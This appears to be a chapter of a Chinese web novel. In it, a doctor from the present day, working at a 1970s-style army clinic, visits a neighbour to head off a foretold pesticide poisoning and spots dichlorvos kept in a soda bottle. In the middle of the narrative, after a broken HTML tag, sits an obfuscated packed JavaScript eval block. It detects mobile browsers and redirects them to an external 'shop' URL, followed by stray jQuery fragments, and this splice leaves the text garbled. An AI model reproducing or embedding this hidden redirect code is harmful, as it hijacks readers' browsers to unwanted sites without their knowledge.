风扇呼哧呼哧地卖力转动着,余奚头上的汗液却几乎未减。
自从那天之后,余奚就去了卫生所上班,转眼间已经过去了一个月。明天就是江榆谷说的“意外”发生的时间,而她的学习交流会名额早在上周就已经敲定了人选——是她。
没有任何波折,也没有她想象中的任何背景较量和刁难挑拨算计,领导竟然直接就点了她的名。
“余奚同志在这里一个月的工作,大家都看在眼里。”卫生所所长在会上说道,“这一个月,不说林团长的脚、张连长的手都恢复得那么好,就是连老陆都拿不准的病人余奚同志都能完成的很好,这可不是谁都能做到的啊。”
“余奚同志虽然年轻,但我们卫生所向来是能人居之,自从余奚同志到了咱们所,很多以前不敢做、没把握做的手术都渐渐开展了起来,她的能力大家都有目共睹啊,所以这次去市里交流学习的名额给余奚同志大家都没有意见吧?”
话音刚落,卫桔榕第一个带头鼓掌,“没有!”
余奚是她发现的人才,也是她向所长举荐的,在她心里,这个名额除了余奚,其他人她都不认。
现在这个结果,她自然是与荣俱焉。
而且这一个月她在余奚这里学到了不少以前没接触过的新的治疗方法,余奚人大方又敞亮,有问必答,从不藏私,这让卫桔榕本就带有敬意的心更加欢喜。
然后稀稀落落的掌声此起彼伏地响起来。
余奚当时愣了好一会儿,还是卫桔榕戳了一下她的胳膊才反应过来,然后站起来,认认真真地向所有人鞠了一躬。
她不太擅长应对别人对她的善意和好意,只能用最朴素的方式表达自己的感激。
一个鞠躬不够,她又鞠了一躬。
“谢谢大家。”她说,声音比平时轻,但却充满了认真和真诚,“谢谢所长的信任,谢谢各位同志的认可,以后我一定会继续努力的。”
所长和蔼地笑着,随意地摆摆手并示意她坐下。
会议结束后卫桔榕凑到她身边压低声音说:“怎么样?我就说吧,你有本事谁都拦不住,这个名额非你莫属。”
在这之前,余奚还有些担心这里面会不会有什么弯弯绕绕,但事实证明她想多了。
余奚看着她的眼睛真挚道谢:“谢谢你,桔榕。”
卫桔榕:“谢什么,你教了我那么多东西,我还没谢你呢。”
余奚会心一笑。
她知道,自己能这么快被所里的人接纳,除了自己在现代学到的比这里先进了几十年的医术,还有很重要的一点就是她是真的不藏私。
在这个年代,很多老大夫带徒弟都会留一手,生怕教会徒弟饿死师父。
但余奚却不这么想,她接受的教育告诉她,医术是用来救人的,不是用来垄断的。
每一个医学知识,如果能多教会一个人,就有可能多救下一条鲜活的生命。
更何况,卫桔榕对她有知遇之恩,没有卫桔榕的举荐,她不可能这么快在卫生所站稳脚跟,投桃报李这种做人最基本的道理她还是懂的。
她教卫桔榕怎么判断血管吻合后的血运情况,教她怎么用物理按摩穴位搭配药物缓解术后疼痛,教她怎么在有限的条件下做最有效的快速处理……
犹记得当时卫桔榕问她为什么不藏私时,余奚也只是笑笑说,“教会了你,遇到紧急情况你就能自己处理,不用每次都等我,病人等不起。”
卫桔榕还愣了好一会儿,然后咂咂舌说,“余奚,你这个人可真敞亮。”
敞亮。
这个评价,余奚很喜欢。
这是对她医德的认可。
去市里学习交流的时间定在了下周,三天,全程包吃包住,每天还有两块钱的出差补贴。
按这里的物价来算,三天下来能有六块钱,够买四斤多肉了。
不过在这之前,还有一件事她得做。
明天。
明天就是江榆谷说得那场意外发生的日子。
那天晚上,江榆谷将她拉到厨房说:“徐青的父母都死于农药中毒。”
“农药中毒?”
余奚的手抖了一下,有些不可置信。
“两个人都是……”
怎么会?农药这种东西除了想不开的人会主动喝下去,一般人怎么会?还是两个人一起?
“嗯。”江榆谷的声音低得喑哑,“两个人都中毒死了。”
余奚闭上眼睛,深深吸了一口气。
“他们是怎么中的毒?”
江榆谷的声音很平静,但余奚听得出那掩饰的平静下面到处都是波澜起伏。
“具体的我不清楚,只记得大概时间是上午,至于原因我不知道,当时我不在场,后来没人会在二姐面前提这事,要是知道自己能有重新来过这种机遇,说什么我也会问清楚……”
想到这,余奚用手指揉了揉眉心。
她不知道具体的时间,也不知道为什么会农药中毒,就算想提前做什么都不行。
总不能冲进他们家,说明天你们就会死于农药中毒,要是真这么说,她相信正常人不仅会把她当成疯子,还会直接拿扫帚撵她这个咒人死的糟心玩意儿走。
她现在除了等明天到来别无选择。
第二天一早,余奚就出门了。
今天正好排的她休息,至于林樾,自那之后又修养了一周就去队里报道了,但被调到了稍微清闲的后勤部门,暂时负责物资管理和新兵训练的文职工作。
这是上面特意安排的,毕竟他的腿虽然恢复得不错,但离完全康复还有一段距离,不能立刻回到一线。
卫师长亲自批的条子,让他在后勤部门先养着,顺便带带新兵,做些力所能及的事。
林樾接到通知那天,虽然早有心理准备,但还是沉默了很久。
余奚知道他在想什么,以林樾的性子,突然被调去做文职,心里肯定不好受。
但她更知道,这是最好的安排。
“林樾,”那天晚上,她看着他,“你腿没好利索之前我不可能放心的,后勤真挺好,不仅清闲,还能有利于你养伤。”
“道理我都懂,但我就是……不习惯。”
“慢慢就习惯了。”她说,“等你腿好了,再回去也不迟。”
现在林樾的脚已经好很多了,只要不剧烈奔跑运动,基本的行走都没什么问题。
天刚蒙蒙亮,空气里虽然带着些夜里的凉意,却依旧闷热,没走几步身上就黏得厉害。
余奚走在通往前面家属院的小路上,心跳得有些快。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263551|194415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
到了徐营长家门口,她停下来,深吸一口气,然后缓缓敲门。
“咚咚咚。”
过了一会儿,大门开了。
周姐站在门口,手里还拿着个搪瓷缸子,看见余奚,眼睛亮了一下:
“小余?这么早怎么来了?快,快进来!”
余奚弯起眉笑着说:“周姐,我今天正好休息,就想着过来看看你、找你聊聊天。家里就我一个人闷的慌,顺便……给你们带了点我自己随便做的藿香佩兰茶。这天可太热了,待会儿我就告诉你怎么做,天热的时候不舒服可以喝点儿。”
这个藿香佩兰茶可以看作是藿香正气水的温和版。这里没有空调,如果贪凉睡直接在地上,时间长了会导致浑身发紧、头重脚轻、胸闷胀气,所以余奚就搞了些藿香和佩兰煮了喝。
效果还是很显著的,不然余奚也不会带这个过来。
周姐笑着把她往里让:“哎,咱俩还真是心有灵犀,我正说要给你送点腌黄瓜呢,来,快进来坐!”
余奚端着搪瓷缸走进去。
屋里还是和之前来的时候一样,简陋却整洁。堂屋里摆着那张老方桌,几把旧椅子靠墙边摆放着。风扇在桌子上呼呼地转着,但根本抵不住外面的热浪。
这个点徐营长并不在家。
“老徐去营部了,”周姐接过搪瓷缸,“这个我去找个空缸装着,你先坐,我给你倒杯凉水喝。”
余奚在桌边坐下,目光扫过这个不大的屋子。
重点在有可能存放农药的地方。
先吸引她目光的就是窗台上放着的几个瓶子。汽水瓶、酒瓶、酱油瓶,乱七八糟地挤在一起。
她的目光在其中两个瓶子之间停留了一下。
那是两个一模一样的汽水瓶。
一个里面装着淡黄色的液体,像是放了很久的汽水。
另一个,余奚的心骤然紧了一瞬。
另一个瓶子里也装着液体,但颜色稍微深一点,还带着一点点浑浊。
她连忙站起来,走过去,然后拿起那个瓶子拧开,用手扇着闻了闻。
一股刺鼻的气味涌入鼻腔,让余奚的眉头紧蹙。
是农药。
难道这就是江榆谷说得导致中毒的源头?
“周姐,”她尽量让自己的声音听起来很平静,“这瓶子里的是什么?”
周姐瞄了一眼,然后不在意地说,“哦,那个啊,是我从隔壁借的敌敌畏,这几天蚊子多得吓人,我想着晚上洒点在院子里。”
余奚不动声色地点点头,把瓶子放回原处。
“周姐,”她不经意说道,“这种农药最好还是换个瓶子装,汽水瓶太容易认错了。”
周姐愣了一下,然后笑了,“也对,我等会儿就找个酱油瓶给它换上。”
听到周姐这么说,余奚忍不住提醒:
“周姐,这种农药最好找个不常用的瓶子装,越不像日常吃的东西越好。实在是没有,就系个红布条做记号,放高点,别和吃喝的这些瓶瓶罐罐挨着。”
“哎,好好,我等会儿就弄。”
余奚说完,又把注意力放在了其他有可能中毒的地方,同时在心里盘算着时间。
江榆谷说,他们是上午中毒的,那就是说很快江营长就会回来。